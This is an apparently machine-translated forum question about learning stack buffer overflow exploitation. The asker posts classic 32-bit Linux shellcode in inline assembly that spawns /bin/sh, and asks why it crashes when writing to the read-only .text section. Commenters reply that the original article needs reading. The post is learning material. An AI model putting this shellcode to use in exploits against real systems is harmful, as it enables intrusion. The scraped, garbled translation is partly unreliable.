C 利用堆栈缓冲区溢出,在访问段文本地址时出错
我通过这篇文章学会了利用漏洞 我对这个例子有一些疑问C 利用堆栈缓冲区溢出,在访问段文本地址时出错,c,assembly,exploit,C,Assembly,Exploit,我通过这篇文章学会了利用漏洞 我对这个例子有一些疑问 void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
在调用-0x2f之后,寄存器%esi具有字符串“/bin/sh”的地址,这也是节.text的地址。我的工具总是在代码行崩溃:
movl%esi,0x8(%esi)#3个字节
如何访问和使用属于section.text的地址,就像beyond example一样。这里的任何人要帮助您理解/修复未注释的汇编程序代码,他们需要代表您阅读整篇文章……我不知道。。。来自phrack.org(=phrack.com)的文章。。。我想知道OP想要什么样的东西。。。